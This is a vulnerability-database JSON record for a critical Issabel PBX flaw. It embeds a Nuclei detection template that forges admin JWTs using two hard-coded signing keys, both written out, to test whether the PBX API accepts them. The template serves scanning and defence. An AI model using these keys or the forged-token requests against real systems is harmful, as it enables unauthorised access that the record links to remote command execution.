{
  "_links": {
    "capec": {
      "href": "/api/v1/vulnerability/cve-2026-89026/capec"
    },
    "cvss": {
      "href": "/api/v1/vulnerability/cve-2026-89026/cvss"
    },
    "cwe": {
      "href": "/api/v1/vulnerability/cve-2026-89026/cwe"
    },
    "enrichment": {
      "href": "/api/v1/vulnerability/cve-2026-89026/enrichment"
    },
    "gcve": {
      "href": "/api/v1/vulnerability/cve-2026-89026/gcve"
    },
    "self": {
      "href": "/api/v1/vulnerability/cve-2026-89026"
    },
    "sightings": {
      "href": "/api/v1/sightings/cve-2026-89026"
    }
  },
  "data": {
    "nuclei": true,
    "nuclei_template": "http/cves/2026/CVE-2026-89026.yaml",
    "nuclei_template_severity": "critical",
    "nuclei_template_yaml": "id: CVE-2026-89026\n\ninfo:\n  name: Issabel Framework - Hard-Coded PBX API JWT Key\n  author: alex\n  severity: critical\n  description: |\n    Issabel Framework before commit b97dbaf uses a shared HS256 key for PBX API bearer tokens. This template uses the read-only AMI ExtensionState action to check whether the PBX API accepts a short-lived token signed with either the vulnerable upstream-source key or the key in the 5.0.0-2 RPM, after rejecting an unrelated key.\n  impact: |\n    Unauthenticated attackers can execute arbitrary OS commands as the Asterisk user, potentially compromising the system.\n  remediation: |\n    Update to the version after commit b97dbaf or latest available version.\n  reference:\n    - https://github.com/IssabelFoundation/framework/commit/b97dbaf0b71c1c36f841e672b664afbeb02773bd\n    - https://github.com/IssabelFoundation/firstboot/commit/74b28cab9a35\n    - https://www.vulncheck.com/advisories/issabel-pbx-hard-coded-jwt-key-rce-via-pbxapi-manager-originate\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-89026\n  classification:\n    cvss-metrics: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N\n    cvss-score: 9.3\n    cve-id: CVE-2026-89026\n    epss-score: 0.02699\n    epss-percentile: 0.85968\n    cwe-id: CWE-321\n  metadata:\n    max-request: 3\n    vendor: issabel\n    product: framework\n  tags: cve,cve2026,issabel,pbx,jwt,auth-bypass,vuln,vkev\n\nflow: http(1) && http(2)\n\nvariables:\n  access_claims: '{\"data\":{\"name\":\"admin\"}}'\n  control_key: \"unrelated-lab-control-key-for-jwt-differential\"\n\nhttp:\n  - raw:\n      - |\n        GET /pbxapi/manager/extensionstate?extension=1000&context=from-internal HTTP/1.1\n        Host: {{Hostname}}\n        Authorization: Bearer {{generate_jwt(access_claims,\"HS256\",control_key,unix_time(120))}}\n        Accept: application/json\n\n    matchers:\n      - type: dsl\n        dsl:\n          - status_code == 403\n        internal: true\n\n  - raw:\n      - |\n        GET /pbxapi/manager/extensionstate?extension=1000&context=from-internal HTTP/1.1\n        Host: {{Hostname}}\n        Authorization: Bearer {{generate_jwt(access_claims,\"HS256\",key,unix_time(120))}}\n        Accept: application/json\n\n    payloads:\n      key:\n        - \"da893kasdfam43k29akdkfaFFlsdfhj23rasdf\"\n        - \"YjViOTcxMWMzMDc5M2RkNDdiYTNkZDk1YTgyYjNjYzdhNTkwNTUwODk2MjU1YTE0\"\n    stop-at-first-match: true\n\n    matchers:\n      - type: dsl\n        dsl:\n          - contains_all(body, '\"Response\":\"Success\"', '\"Message\":\"Extension Status\"', '\"Exten\":\"1000\"')\n          - contains(content_type, \"application/json\")\n          - status_code == 200\n        condition: and\n# digest: 490a0046304402202149d551f5354ea33b66a609b4a55e9c387a127b841f8f49f7abefb73fd354db02201e3ee2e7d63ba35e6549e31fe530fff2262ef97f5e6ca0328703cb0aec4d4d0c:922c64590222798bb761d5b6d8e72950"
  },
  "source": "nuclei",
  "vuln_id": "cve-2026-89026"
}